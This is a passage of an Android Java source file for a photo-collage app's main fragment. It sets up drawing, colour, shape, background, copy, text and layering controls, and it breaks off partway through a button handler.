} | 1rfsNet/GOOJPRT-Printer-Driver | MTP 标签label printer/MTP-2 BT SDK/MyPrinter#6/src/com/lvrenyang/pathbutton/myAnimations.java |
65,428 | package com.fcu.photocollage.collage;
import android.app.AlertDialog;
import android.app.ProgressDialog;
import android.content.Context;
import android.content.DialogInterface;
import android.content.Intent;
import android.graphics.Bitmap;
import android.graphics.BitmapFactory;
import android.graphics.Canvas;
import android.graphics.Color;
import android.graphics.Matrix;
import android.graphics.Paint;
import android.graphics.PaintFlagsDrawFilter;
import android.graphics.PorterDuff.Mode;
import android.graphics.PorterDuffXfermode;
import android.graphics.Typeface;
import android.os.Bundle;
import android.os.Environment;
import android.os.Handler;
import android.os.HandlerThread;
import android.os.Message;
import android.support.v4.app.Fragment;
import android.util.Log;
import android.view.LayoutInflater;
import android.view.MotionEvent;
import android.view.View;
import android.view.View.OnClickListener;
import android.view.View.OnTouchListener;
import android.view.ViewGroup;
import android.view.Window;
import android.widget.Button;
import android.widget.EditText;
import android.widget.ImageView;
import android.widget.LinearLayout;
import android.widget.RelativeLayout;
import android.widget.SeekBar;
import android.widget.SeekBar.OnSeekBarChangeListener;
import android.widget.Toast;
import com.bumptech.glide.Glide;
import com.fcu.photocollage.R;
import com.fcu.photocollage.imagepicker.ImagePickerActivity;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.OutputStream;
import java.sql.Date;
import java.text.SimpleDateFormat;
import java.util.ArrayList;
import java.util.List;
/**
* 主頁面,可跳轉至相冊選擇照片,並在此頁面顯示所選擇的照片。
*/
public class CollageActivity extends Fragment {
//region 定義
//private final getActivity() getActivity() = getActivity();
private static Toast toast; //氣泡訊息
private Bitmap tempBitmap; //中間暫存的畫布
private Canvas tempCanvas; //畫布
private int countpicture = 1; //計算照片張數
private int choosepicture = 0; //選擇照片ID
private int choosepictureZ = 0;
private int choosePaintSize = 15; //畫筆粗細
private int addViewLeft = 50, addViewTop = 50; //加入照片上下初始設定
private String textBundle;
private File dirFile = null; //照片要存的路徑
private RelativeLayout Relativelay; //相對佈局
//所有工具列
private LinearLayout choosecolorlinr, chooseshape, paintSizelinr, eraserSizelinr, drawtool, maintool, choosebackground;
private ImageView img = null; //imageview
private ImageView backimage; //初始背景
private ImageView Img = null;
private ImageView paintImgSize, erasersize; //調整畫筆同時顯示粗,橡皮擦大小
private Button DeleteButton; //刪除按鈕
private Button DeleteAllButton; //清空按鈕
private Button SaveButton; //儲存按鈕
private Button selectImgBtn; //選擇圖片按鈕
private Button drawBtn; //畫筆按鈕
private Button colorBtn; //顏色選擇按鈕
private Button shapeBtn; //圖形選擇按鈕
private Button drawover; //結束畫布模式按鈕
private Button eraser; //橡皮擦按鈕
private Button undoBtn; //上一步按鈕
private Button cleanAll; //清除畫布按鈕
private Button drawstart; //開始畫布按鈕
private Button copy; //複製按鈕
private Button backgroundBtn; //設置背景按鈕
private Button redBtn;
private Button orangeBtn;
private Button yellowBtn;
private Button greenBtn;
private Button blueBtn;
private Button purpleBtn;
private Button brownBtn;
private Button grayBtn;
private Button blackBtn;
private Button paletteBtn;
private Button pathBtn;
private Button pointBtn;
private Button lineBtn;
private Button rectangleBtn;
private Button circleBtn;
private Button rectanglefallBtn;
private Button circlefallBtn;
private Button loveBtn;
private Button bgBtn;
private Button bgBtn1;
private Button bgBtn2;
private Button bgBtn3;
private Button bgBtn4;
private Button bgBtn5;
private Button bgBtn6;
private Button bgBtn7;
private Button bgBtn8;
private Button bgBtn9;
private Button bgBtn10;
private Button bgBtn11;
private Button bgBtn12;
private Button bgBtn13;
private Button bgBtn14;
private Button bgBtn15;
private Button bgBtn16;
private Button bgBtn17;
//private Button pictureSetBackground;
private Button upBtn;
private Button downBtn;
private Button textBtn;
private View lastView; //上一個選擇的imageview
private Bitmap drawBitmap = null, saveBitmap = null, tempImage, bitmapcopy; //畫布,暫存畫布,最終儲存畫布
private ProgressDialog progressDialog; //儲存彈出等待視窗
private Handler mThreadHandler; //save(的經紀人),多執行緒
private Canvas canvasDraw, canvasSave; //畫畫工具,畫暫存畫布,畫最終畫布
private Paint paint; //畫筆
private SeekBar paintSize, eraserSize; //畫筆粗細seekbar,橡皮擦大小seekbar
private float startX, BigX, smallX, cutBigX = 0; //畫布模式下手觸碰開始的X位置,最大X位置,最小X位置,最後切割X最大位置
private float startY, BigY, smallY, cutBigY = 0; //畫布模式下手觸碰開始的Y位置,最大Y位置,最小Y位置,最後切割Y最大位置
private float cutSmallX = 10000, cutSmallY = 10000; //切割最小X跟Y
private Action curAction = null; //畫圖方法
private ActionType type = ActionType.Path; //儲存畫筆資訊
private int currentColor = Color.BLACK; //預設畫筆為黑色为黑色
private int currentSize = 15; //預設的粗细
private List<Action> mActions; //儲存畫布模式動作
private float[][] undoCutXY;
private int undoCutXYIndex1 = 1, undoCutXYIndex2 = 0;
private Boolean photo = false, draw = false;
private Matrix drawMatrix;
View thisView;
//private MediaPlayer mPlayer;
private void initVariables() {
//region 佈局設定
//region 顏色按鈕
redBtn = (Button) thisView.findViewById(R.id.colorRed);
orangeBtn = (Button) thisView.findViewById(R.id.colorOrange);
yellowBtn = (Button) thisView.findViewById(R.id.colorYellow);
greenBtn = (Button) thisView.findViewById(R.id.colorGreen);
blueBtn = (Button) thisView.findViewById(R.id.colorBlue);
purpleBtn = (Button) thisView.findViewById(R.id.colorPurple);
brownBtn = (Button) thisView.findViewById(R.id.colorBrown);
grayBtn = (Button) thisView.findViewById(R.id.colorGray);
blackBtn = (Button) thisView.findViewById(R.id.colorBlack);
paletteBtn = (Button) thisView.findViewById(R.id.palette);
//endregion
//region 形狀按鈕
pathBtn = (Button) thisView.findViewById(R.id.path);
pointBtn = (Button) thisView.findViewById(R.id.point);
lineBtn = (Button) thisView.findViewById(R.id.line);
rectangleBtn = (Button) thisView.findViewById(R.id.rectangle);
circleBtn = (Button) thisView.findViewById(R.id.circle);
rectanglefallBtn = (Button) thisView.findViewById(R.id.rectanglefall);
circlefallBtn = (Button) thisView.findViewById(R.id.circlefall);
loveBtn = (Button) thisView.findViewById(R.id.love);
//endregion
//region 背景按鈕
bgBtn = (Button) thisView.findViewById(R.id.background);
bgBtn1 = (Button) thisView.findViewById(R.id.background1);
bgBtn2 = (Button) thisView.findViewById(R.id.background2);
bgBtn3 = (Button) thisView.findViewById(R.id.background3);
bgBtn4 = (Button) thisView.findViewById(R.id.background4);
bgBtn5 = (Button) thisView.findViewById(R.id.background5);
bgBtn6 = (Button) thisView.findViewById(R.id.background6);
bgBtn7 = (Button) thisView.findViewById(R.id.background7);
bgBtn8 = (Button) thisView.findViewById(R.id.background8);
bgBtn9 = (Button) thisView.findViewById(R.id.background9);
bgBtn10 = (Button) thisView.findViewById(R.id.background10);
bgBtn11 = (Button) thisView.findViewById(R.id.background11);
bgBtn12 = (Button) thisView.findViewById(R.id.background12);
bgBtn13 = (Button) thisView.findViewById(R.id.background13);
bgBtn14 = (Button) thisView.findViewById(R.id.background14);
bgBtn15 = (Button) thisView.findViewById(R.id.background15);
bgBtn16 = (Button) thisView.findViewById(R.id.background16);
bgBtn17 = (Button) thisView.findViewById(R.id.background17);
//endregion
textBtn = (Button) thisView.findViewById(R.id.text);
//刪除按鈕
DeleteButton = (Button) thisView.findViewById(R.id.delete);
//刪除全部
DeleteAllButton = (Button) thisView.findViewById(R.id.deleteAll);
//儲存按鈕
SaveButton = (Button) thisView.findViewById(R.id.save);
//選擇相簿按鈕
selectImgBtn = (Button) thisView.findViewById(R.id.main_select_image);
//複製按鈕
copy = (Button) thisView.findViewById(R.id.copy);
//上推按鈕
upBtn = (Button) thisView.findViewById(R.id.up);
//下推按鈕
downBtn = (Button) thisView.findViewById(R.id.down);
//換背景按鈕
backgroundBtn = (Button) thisView.findViewById(R.id.backgroundBtn);
//當前照片設為背景
//pictureSetBackground = (Button)thisView.findViewById(R.id.pictureSetBackground);
//初始背景
backimage = (ImageView) thisView.findViewById(R.id.imageView1);
backimage.setId(0);
//畫筆大小顯示
paintImgSize = (ImageView) thisView.findViewById(R.id.paintsize);
//橡皮擦大小顯示
erasersize = (ImageView) thisView.findViewById(R.id.erasersize);
//相對佈局
Relativelay = (RelativeLayout) thisView.findViewById(R.id.anogallery);
//整個畫布工具列
drawtool = (LinearLayout) thisView.findViewById(R.id.drawtool);
drawtool.setVisibility(View.GONE);
//選擇顏色工具列
choosecolorlinr = (LinearLayout) thisView.findViewById(R.id.choosecolorlinr);
choosecolorlinr.setVisibility(View.GONE);
//選擇形狀工具列
chooseshape = (LinearLayout) thisView.findViewById(R.id.chooseshape);
chooseshape.setVisibility(View.GONE);
//選擇畫筆大小工具列
paintSizelinr = (LinearLayout) thisView.findViewById(R.id.paintSizelinr);
paintSizelinr.setVisibility(View.GONE);
//橡皮擦大小工具列
eraserSizelinr = (LinearLayout) thisView.findViewById(R.id.eraserSizelinr);
eraserSizelinr.setVisibility(View.GONE);
//初始工具列
maintool = (LinearLayout) thisView.findViewById(R.id.maintool);
//選擇背景工具列
choosebackground = (LinearLayout) thisView.findViewById(R.id.choosebackground);
choosebackground.setVisibility(View.GONE);
//畫筆粗細seekBar
paintSize = (SeekBar) thisView.findViewById(R.id.paintSize);
//橡皮擦粗細seekBar
eraserSize = (SeekBar) thisView.findViewById(R.id.eraserSize);
//開始畫布按鈕
drawstart = (Button) thisView.findViewById(R.id.drawstart);
drawBtn = (Button) thisView.findViewById(R.id.draw);
//結束畫布按鈕
drawover = (Button) thisView.findViewById(R.id.drawover);
drawover.setEnabled(false);
//橡皮擦按鈕
eraser = (Button) thisView.findViewById(R.id.eraser);
eraser.setEnabled(false);
//清空全部按鈕
cleanAll = (Button) thisView.findViewById(R.id.cleanAll);
//選擇顏色按鈕
colorBtn = (Button) thisView.findViewById(R.id.color);
colorBtn.setEnabled(false);
//上一步按鈕
undoBtn = (Button) thisView.findViewById(R.id.undo);
undoBtn.setEnabled(false);
//選擇形狀按鈕
shapeBtn = (Button) thisView.findViewById(R.id.shape);
shapeBtn.setEnabled(false);
//新增畫筆
paint = new Paint();
//endregion
}
private void initListener() {
//region 選擇顏色
redBtn.setOnClickListener(colorchoose);
orangeBtn.setOnClickListener(colorchoose);
yellowBtn.setOnClickListener(colorchoose);
greenBtn.setOnClickListener(colorchoose);
blueBtn.setOnClickListener(colorchoose);
purpleBtn.setOnClickListener(colorchoose);
brownBtn.setOnClickListener(colorchoose);
grayBtn.setOnClickListener(colorchoose);
blackBtn.setOnClickListener(colorchoose);
paletteBtn.setOnClickListener(colorchoose);
//endregion
//region 選擇形狀
pathBtn.setOnClickListener(shapechoose);
pointBtn.setOnClickListener(shapechoose);
lineBtn.setOnClickListener(shapechoose);
rectangleBtn.setOnClickListener(shapechoose);
circleBtn.setOnClickListener(shapechoose);
rectanglefallBtn.setOnClickListener(shapechoose);
circlefallBtn.setOnClickListener(shapechoose);
loveBtn.setOnClickListener(shapechoose);
//endregion
//region 選擇背景
bgBtn.setOnClickListener(backGroundChange);
bgBtn1.setOnClickListener(backGroundChange);
bgBtn2.setOnClickListener(backGroundChange);
bgBtn3.setOnClickListener(backGroundChange);
bgBtn4.setOnClickListener(backGroundChange);
bgBtn5.setOnClickListener(backGroundChange);
bgBtn6.setOnClickListener(backGroundChange);
bgBtn7.setOnClickListener(backGroundChange);
bgBtn8.setOnClickListener(backGroundChange);
bgBtn9.setOnClickListener(backGroundChange);
bgBtn10.setOnClickListener(backGroundChange);
bgBtn11.setOnClickListener(backGroundChange);
bgBtn12.setOnClickListener(backGroundChange);
bgBtn13.setOnClickListener(backGroundChange);
bgBtn14.setOnClickListener(backGroundChange);
bgBtn15.setOnClickListener(backGroundChange);
bgBtn16.setOnClickListener(backGroundChange);
bgBtn17.setOnClickListener(backGroundChange);
//endregion
//region 顯示畫筆粗細imageview點擊也能開啟調色盤
paintImgSize.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
//調色盤
ColorPickerDialog dialog = new ColorPickerDialog(getActivity(), currentColor, "Choose Color",
new ColorPickerDialog.OnColorChangedListener() {
public void colorChanged(int color2) {
//set your color variable
setColor(color2);
if (paintSizelinr.getVisibility() == View.VISIBLE) {
//選完顏色同時也要把畫筆大小的顏色換成所選的
Bitmap paintSizeBitmap = Bitmap.createBitmap(paintImgSize.getWidth(), paintImgSize.getHeight(), Bitmap.Config.ARGB_8888);
Canvas paintSizeCanvas = new Canvas(paintSizeBitmap);
Paint cleancanvas = new Paint();
cleancanvas.setXfermode(new PorterDuffXfermode(Mode.CLEAR));
paintSizeCanvas.drawPaint(cleancanvas);
cleancanvas.setXfermode(new PorterDuffXfermode(Mode.SRC));
setSize(choosePaintSize);
Paint seekBarShowPaintSize = new Paint();
seekBarShowPaintSize.setAntiAlias(true);
seekBarShowPaintSize.setColor(currentColor);
seekBarShowPaintSize.setStyle(Paint.Style.FILL);
seekBarShowPaintSize.setStrokeWidth(choosePaintSize);
paintSizeCanvas.drawCircle(paintImgSize.getWidth() / 2, paintImgSize.getHeight() / 2, choosePaintSize / 2, seekBarShowPaintSize);
paintImgSize.setImageBitmap(paintSizeBitmap);
}
}
});
dialog.show();
}
});
//endregion
//region 開始畫布模式
drawstart.setOnClickListener(new OnClickListener() {
@Override
public void onClick(View v) {
AlertDialog.Builder builder = new AlertDialog.Builder(getActivity());
builder.setTitle("開啟畫布");
builder.setMessage("要開新畫布還是編輯圖片");
// Add the buttons
builder.setPositiveButton("編輯照片", new DialogInterface.OnClickListener() {
public void onClick(DialogInterface dialog, int id) {
// User clicked OK button
if (choosepicture != 0) {
//設定按鈕可否使用
drawover.setEnabled(true);
eraser.setEnabled(true);
colorBtn.setEnabled(true);
shapeBtn.setEnabled(true);
undoBtn.setEnabled(true);
//把主工具列隱藏
maintool.setVisibility(View.GONE);
//把畫布工具列顯示
drawtool.setVisibility(View.VISIBLE);
//把選擇背景工具列隱藏
choosebackground.setVisibility(View.GONE);
//設定畫筆初始模式是為自由曲線
setType(ActionType.Path);
setSize(currentSize);
//新增紀錄陣列
mActions = new ArrayList<Action>();
//如果在之前有選擇圖片,把圖片還原
if (lastView != null)
lastView.setBackgroundColor(getResources().getColor(R.color.alpha));
//創建準備要畫畫的Bitmap
drawBitmap = Bitmap.createBitmap(backimage.getWidth(), backimage.getHeight(), Bitmap.Config.ARGB_8888);
saveBitmap = Bitmap.createBitmap(backimage.getWidth(), backimage.getHeight(), Bitmap.Config.ARGB_8888);
canvasDraw = new Canvas(drawBitmap);
canvasSave = new Canvas(saveBitmap);
canvasDraw.drawColor(Color.TRANSPARENT);
ViewGroup viewGroup = Relativelay;
View currentView = viewGroup.getChildAt(choosepicture);
//取得照片資訊
currentView.setDrawingCacheEnabled(true);
currentView.buildDrawingCache();
tempImage = currentView.getDrawingCache();
Img = new ImageView(getActivity());
//img = new img(getActivity(),tempImage);
Img.setId(countpicture);
Img.setZ(countpicture + 11);
backimage.setZ(countpicture + 10);
Relativelay.addView(Img);
//將照片等比放大到跟螢幕大小一樣
float ScaleX = 0, ScaleY = 0;
for (float sX = 1; tempImage.getWidth() * sX <= backimage.getWidth(); sX += 0.1)
ScaleX = sX;
for (float sY = 1; tempImage.getHeight() * sY <= backimage.getHeight(); sY += 0.1)
ScaleY = sY;
if (ScaleX > ScaleY)
ScaleX = ScaleY;
else if (ScaleX < ScaleY)
ScaleY = ScaleX;
else ;
//將照片移到正中間
drawMatrix = new Matrix();
drawMatrix.postTranslate(backimage.getWidth() / 2 - tempImage.getWidth() / 2, backimage.getHeight() / 2 - tempImage.getHeight() / 2);
drawMatrix.postScale(ScaleX, ScaleY, backimage.getWidth() / 2, backimage.getHeight() / 2);
canvasSave.drawBitmap(tempImage, drawMatrix, null);
Img.setImageBitmap(saveBitmap);
Img.setOnTouchListener(null);
Img.setOnTouchListener(DrawOnTouchListener);
// setCurAction(0,0);
// curAction.move(0,0);
// curAction.draw(canvasSave);
// mActions.add(curAction);
countpicture++;
photo = true;
makeTextAndShow(getActivity(), "編輯模式", android.widget.Toast.LENGTH_SHORT);
} else {
makeTextAndShow(getActivity(), "沒有選擇相片", android.widget.Toast.LENGTH_SHORT);
}
}
});
builder.setNegativeButton("開新畫布", new DialogInterface.OnClickListener() {
public void onClick(DialogInterface dialog, int id) {
// User cancelled the dialog
//設定按鈕可否使用
drawover.setEnabled(true);
eraser.setEnabled(true);
colorBtn.setEnabled(true);
shapeBtn.setEnabled(true);
undoBtn.setEnabled(true);
//把主工具列隱藏
maintool.setVisibility(View.GONE);
//把畫布工具列顯示
drawtool.setVisibility(View.VISIBLE);
//把選擇背景工具列隱藏
choosebackground.setVisibility(View.GONE);
//設定畫筆初始模式是為自由曲線
setType(ActionType.Path);
setSize(currentSize);
//新增紀錄陣列
mActions = new ArrayList<Action>();
//如果在之前有選擇圖片,把圖片還原
if (lastView != null)
lastView.setBackgroundColor(getResources().getColor(R.color.alpha));
//如果一開始畫布為空的,創建新畫布
if (drawBitmap == null) {
drawBitmap = Bitmap.createBitmap(backimage.getWidth(), backimage.getHeight(), Bitmap.Config.ARGB_8888);
saveBitmap = Bitmap.createBitmap(backimage.getWidth(), backimage.getHeight(), Bitmap.Config.ARGB_8888);
canvasDraw = new Canvas(drawBitmap);
canvasSave = new Canvas(saveBitmap);
canvasDraw.drawColor(Color.TRANSPARENT);
canvasSave.drawColor(Color.TRANSPARENT);
img = new ImageView(getActivity());
//img = new img(getActivity(),saveBitmap,0);
img.setId(countpicture);
img.setZ(countpicture);
img.setImageBitmap(saveBitmap);
Relativelay.addView(img);
countpicture++;
img.setOnTouchListener(DrawOnTouchListener);
draw = true;
Log.d("aa", "test");
makeTextAndShow(getActivity(), "畫布模式", android.widget.Toast.LENGTH_SHORT);
}
}
});
builder.create().show();
//紀錄步驟順序
undoCutXY = new float[1000][4];
makeTextAndShow(getActivity(), "畫布模式", android.widget.Toast.LENGTH_SHORT);
}
});
//endregion
//region 畫筆seekbar
paintSize.setOnSeekBarChangeListener(new OnSeekBarChangeListener() {
//當seekBar在拉動時
@Override
public void onProgressChanged(SeekBar seekBar, int progress,
boolean fromUser) {
// TODO 自動產生的方法 Stub
//畫筆大小設置,progress為當下seekbar數值
if (progress < 15) {
progress = 15;
}
choosePaintSize = progress;
//創建一個Bitmap與顯示畫筆粗細ImageView一樣大小
Bitmap paintSizeBitmap = Bitmap.createBitmap(paintImgSize.getWidth(), paintImgSize.getHeight(), Bitmap.Config.ARGB_8888);
// Log.d("imgwidth", String.valueOf(paintImgSize.getWidth()));
// Log.d("imgHeigh", String.valueOf(paintImgSize.getHeight()));
//把Bitmap加入Canvas中
Canvas paintSizeCanvas = new Canvas(paintSizeBitmap);
//新增畫筆
Paint cleancanvas = new Paint();
//設定每當seekBar有變動時清除原有畫布上的東西,避免縮小會沒有感覺
cleancanvas.setXfermode(new PorterDuffXfermode(Mode.CLEAR));
paintSizeCanvas.drawPaint(cleancanvas);
cleancanvas.setXfermode(new PorterDuffXfermode(Mode.SRC));
//設定畫筆粗細
setSize(progress);
//新增畫筆
Paint seekBarShowPaintSize = new Paint();
//畫筆抗齒
seekBarShowPaintSize.setAntiAlias(true);
//設定顏色為當前選的顏色
seekBarShowPaintSize.setColor(currentColor);
//設定畫筆模式為填滿模式
seekBarShowPaintSize.setStyle(Paint.Style.FILL);
//設定畫筆寬度
seekBarShowPaintSize.setStrokeWidth(choosePaintSize);
//用畫筆畫圓(X軸中心,Y軸中心,畫筆資訊)
paintSizeCanvas.drawCircle(paintImgSize.getWidth() / 2, paintImgSize.getHeight() / 2, progress / 2, seekBarShowPaintSize);
//顯示
paintImgSize.setImageBitmap(paintSizeBitmap);
// Paint seekBarShowPaintSizeCircile = new Paint();
// seekBarShowPaintSizeCircile.setAntiAlias(true);
// seekBarShowPaintSizeCircile.setColor(getResources().getColor(R.color.black));
// seekBarShowPaintSizeCircile.setStyle(Paint.Style.STROKE);
// seekBarShowPaintSizeCircile.setStrokeWidth(1);
// paintSizeCanvas.drawCircle(paintImgSize.getWidth() / 2, paintImgSize.getHeight() / 2, progress / 2+1,
// seekBarShowPaintSizeCircile);
}
//當seeBar開始拉動時
@Override
public void onStartTrackingTouch(SeekBar seekBar) {
// TODO 自動產生的方法 Stub
}
//當seekBar停止拉動時
@Override
public void onStopTrackingTouch(SeekBar seekBar) {
// TODO 自動產生的方法 Stub
}
});
//endregion
//region 複製
copy.setOnClickListener(new OnClickListener() {
@Override
public void onClick(View v) {
//初始設定為path
choosebackground.setVisibility(View.GONE);
//
if (choosepicture != 0) {
ViewGroup viewGroup = Relativelay;
img currentView = (img) viewGroup.getChildAt(choosepicture);
currentView.setDrawingCacheEnabled(true);
currentView.buildDrawingCache();
currentView.setBackgroundColor(getResources().getColor(R.color.alpha));
currentView.setAlpha(1f);
Matrix Matrix = new Matrix();
Matrix.postScale(currentView.getScaleX(), currentView.getScaleY(), currentView.getWidth() / 2, currentView.getHeight() / 2);
Matrix.postRotate(currentView.getRotation(), (currentView.getWidth() * currentView.getScaleX()) / 2, (currentView.getHeight() * currentView.getScaleY()) / 2);
currentView.buildDrawingCache();
Bitmap copy = currentView.getDrawingCache();
if (currentView.getIfText() == 0)
bitmapcopy = Bitmap.createBitmap(copy, 0, 0, copy.getWidth(), copy.getHeight(), Matrix, false);
else {
bitmapcopy = Bitmap.createBitmap(copy.getWidth(), copy.getHeight(), Bitmap.Config.ARGB_8888);
Canvas copycanvas = new Canvas(bitmapcopy);
copycanvas.setDrawFilter(new PaintFlagsDrawFilter(0, Paint.ANTI_ALIAS_FLAG | Paint.FILTER_BITMAP_FLAG));
copycanvas.drawBitmap(copy, 0, 0, null);
}
//bitmapcopy = getMagicDrawingCache(currentView);
//取得亂數介於-200~200之間
int copyX, copyY;
copyX = (int) (Math.random() * 400 - 200);
copyY = (int) (Math.random() * 400 - 200);
//設定照片要隨機放的位置,不能超過螢幕四周
float setX, setY;
setX = currentView.getX() + copyX;
setY = currentView.getY() + copyY;
if (currentView.getX() + copyX > backimage.getWidth()) {
setX = setX - currentView.getWidth() - 100;
}
if (currentView.getX() + copyX < 0) {
setX = -(currentView.getX() + copyX);
}
if (currentView.getY() + copyY > backimage.getHeight()) {
setY = setY - currentView.getHeight() - 100;
}
if (currentView.getY() + copyY < 0) {
setY = -(currentView.getY() + copyY);
}
if (currentView.getIfText() == 1)
img = new img(getActivity(), bitmapcopy, 1);
else
img = new img(getActivity(), bitmapcopy, 0);
//為這個imageview設定ID
img.setId(countpicture);
img.setZ(countpicture);
img.setX(setX);
img.setY(setY);
img.setImageBitmap(bitmapcopy);
img.setOnTouchListener(new MultiTouchListener());
//imageview點擊事件
img.setOnClickListener(imgOnClickListener);
//把照片加入RelativeLayout中,座標位置為0,0
Relativelay.addView(img);
//照片ID數加1
countpicture++;
//choosepicture=0;
makeTextAndShow(getActivity(), "複製", android.widget.Toast.LENGTH_SHORT);
} else
makeTextAndShow(getActivity(), "沒有選擇圖片", android.widget.Toast.LENGTH_SHORT);
}
});
//endregion
//region 加入文字按鈕
textBtn.setOnClickListener(new OnClickListener() {
@Override
public void onClick(View v) {
AlertDialog.Builder builder = new AlertDialog.Builder(getActivity());
builder.setIcon(R.mipmap.ic_format_size_white_24dp);
builder.setTitle("請輸入想要加入的文字");
// 通過LayoutInflater來載入一個xml作為一個View對象
View view = LayoutInflater.from(getActivity()).inflate(R.layout.textdialog, null);
// 設置我们自己定義的布局文件作為彈出框的Content
builder.setView(view);
final EditText text = (EditText) view.findViewById(R.id.text);
builder.setPositiveButton("確定", new DialogInterface.OnClickListener() {
@Override
public void onClick(DialogInterface dialog, int which) {
textBundle = text.getText().toString().trim();
if ("".equals(text.getText().toString().trim())) {
makeTextAndShow(getActivity(), "請輸入文字", android.widget.Toast.LENGTH_SHORT);
} else {
Intent it = new Intent();
it.setClass(getActivity(), AddText.class);
Bundle bundle = new Bundle();
bundle.putString("text", textBundle);//傳遞String
//將Bundle物件傳給intent
it.putExtras(bundle);
//startActivity(it);
startActivityForResult(it, 0);
}
}
});
builder.setNegativeButton("取消", new DialogInterface.OnClickListener() {
@Override
public void onClick(DialogInterface dialog, int which) {
}
});
builder.show();
}
});
//endregion
//region 上推按鈕
upBtn.setOnClickListener(new OnClickListener() {
@Override
public void onClick(View v) {
ViewGroup viewGroup = Relativelay;
View currentView = viewGroup.getChildAt(choosepicture);
View changetView = null;
//要上推的照片一定要比照片張數小
if (currentView.getZ() < countpicture - 1) {
//找到要上推照片的上面那一張照片
for (int i = 1; i < viewGroup.getChildCount(); i++) {
if (currentView.getZ() + 1 != viewGroup.getChildAt(i).getZ()) {
} else
changetView = viewGroup.getChildAt(i);
}
currentView.setZ((int) currentView.getZ() + 1);
changetView.setZ((int) changetView.getZ() - 1);
}
}
});
//endregion
//region 下推按鈕
downBtn.setOnClickListener(new OnClickListener() {
@Override
public void onClick(View v) {
ViewGroup viewGroup = Relativelay;
View currentView = viewGroup.getChildAt(choosepicture);
View changetView = null;
//要下推的Z一定要比1大
if (currentView.getZ() > 1) {
//找出要下推的照片原本的下面那張照片
for (int i = 1; i < viewGroup.getChildCount(); i++) {
if (currentView.getZ() - 1 != viewGroup.getChildAt(i).getZ()) {
} else
changetView = viewGroup.getChildAt(i);
}
currentView.setZ((int) currentView.getZ() - 1);
changetView.setZ((int) changetView.getZ() + 1);
}
}
});
//endregion
//region 更換背景按鈕
backgroundBtn.setOnClickListener(new OnClickListener() {
@Override
public void onClick(View v) {
//初始設定為path
if (choosebackground.getVisibility() == View.VISIBLE)
choosebackground.setVisibility(View.GONE);
else
choosebackground.setVisibility(View.VISIBLE);
}
});
//endregion
//region 畫筆粗細
drawBtn.setOnClickListener(new OnClickListener() {
@Override
public void onClick(View v) {
paint.setAntiAlias(true);
setColor(currentColor);
setSize(choosePaintSize);
//創建一個Bitmap與顯示畫筆粗細ImageView一樣大小
Bitmap paintSizeBitmap = Bitmap.createBitmap(210, 210, Bitmap.Config.ARGB_8888);
//把Bitmap加入Canvas中
Canvas paintSizeCanvas = new Canvas(paintSizeBitmap);
//新增畫筆
Paint seekBarShowPaintSize = new Paint();
//畫筆抗齒
seekBarShowPaintSize.setAntiAlias(true);
//設定顏色為當前選的顏色
seekBarShowPaintSize.setColor(currentColor);
//設定畫筆模式為填滿模式
seekBarShowPaintSize.setStyle(Paint.Style.FILL);
//設定畫筆寬度
seekBarShowPaintSize.setStrokeWidth(choosePaintSize);
//用畫筆畫圓(X軸中心,Y軸中心,畫筆資訊)
paintSizeCanvas.drawCircle(210 / 2, 210 / 2, choosePaintSize / 2, seekBarShowPaintSize);
//顯示
paintImgSize.setImageBitmap(paintSizeBitmap);
if (choosecolorlinr.getVisibility() == View.VISIBLE)
choosecolorlinr.setVisibility(View.VISIBLE);
else
choosecolorlinr.setVisibility(View.GONE);
if (chooseshape.getVisibility() == View.VISIBLE)
chooseshape.setVisibility(View.VISIBLE);
else
chooseshape.setVisibility(View.GONE);
if (paintSizelinr.getVisibility() == View.VISIBLE)
paintSizelinr.setVisibility(View.GONE);
else
paintSizelinr.setVisibility(View.VISIBLE);
if (eraserSizelinr.getVisibility() == View.VISIBLE) {
setType(ActionType.Path);
eraserSizelinr.setVisibility(View.GONE);
}
}
});
//endregion
//region 選擇畫筆顏色
colorBtn.setOnClickListener(new OnClickListener() {
@Override
public void onClick(View v) {
//初始設定為path
paint.setAntiAlias(true);
setSize(currentSize);
if (paintSizelinr.getVisibility() == View.VISIBLE)
paintSizelinr.setVisibility(View.VISIBLE);
else
paintSizelinr.setVisibility(View.GONE);
if (chooseshape.getVisibility() == View.VISIBLE)
chooseshape.setVisibility(View.VISIBLE);
else
chooseshape.setVisibility(View.GONE);
if (choosecolorlinr.getVisibility() == View.VISIBLE)
choosecolorlinr.setVisibility(View.GONE);
else
choosecolorlinr.setVisibility(View.VISIBLE);
if (eraserSizelinr.getVisibility() == View.VISIBLE) {
setType(ActionType.Path);
eraserSizelinr.setVisibility(View.GONE);
}
}
});
//endregion
//region 選擇圖形按鈕
shapeBtn.setOnClickListener(new OnClickListener() {
@Override
public void onClick(View v) {
//showShapeDialog();
//0是有顯示時
if (choosecolorlinr.getVisibility() == View.VISIBLE)
choosecolorlinr.setVisibility(View.VISIBLE);
else
choosecolorlinr.setVisibility(View.GONE);
if (paintSizelinr.getVisibility() == View.VISIBLE)
paintSizelinr.setVisibility(View.VISIBLE);
else
paintSizelinr.setVisibility(View.GONE);
if (chooseshape.getVisibility() == View.VISIBLE)
chooseshape.setVisibility(View.GONE);
else
chooseshape.setVisibility(View.VISIBLE);
eraserSizelinr.setVisibility(View.GONE);
}
});
//endregion
//region 上一步
undoBtn.setOnClickListener(new OnClickListener() {
@Override
public void onClick(View v) {
// TODO 自動產生的方法 Stub
if (mActions != null && mActions.size() > 0) {
mActions.remove(mActions.size() - 1);
Paint cleancanvas = new Paint();
cleancanvas.setXfermode(new PorterDuffXfermode(Mode.CLEAR));
canvasSave.drawPaint(cleancanvas);
cleancanvas.setXfermode(new PorterDuffXfermode(Mode.SRC));
//如果為編輯照片模式,每次都必須先把原圖片在畫上去一次
if (photo == true)
canvasSave.drawBitmap(tempImage, drawMatrix, null);
for (Action a : mActions) {
a.draw(canvasSave);
}
img.setImageBitmap(saveBitmap);
for (int i = 0; i < 4; i++)
undoCutXY[undoCutXYIndex1 - 1][i] = 0;
undoCutXYIndex1--;
}
if (undoCutXYIndex1 == 0) {
cutBigX = 0;
cutBigY = 0;
cutSmallX = 10000;
cutSmallY = 10000;
}
}
});
//endregion
//region 清空整個畫布
cleanAll.setOnClickListener(new OnClickListener() {
@Override
public void onClick(View v) {
// TODO 自動產生的方法 Stub
AlertDialog.Builder builder = new AlertDialog.Builder(getActivity());
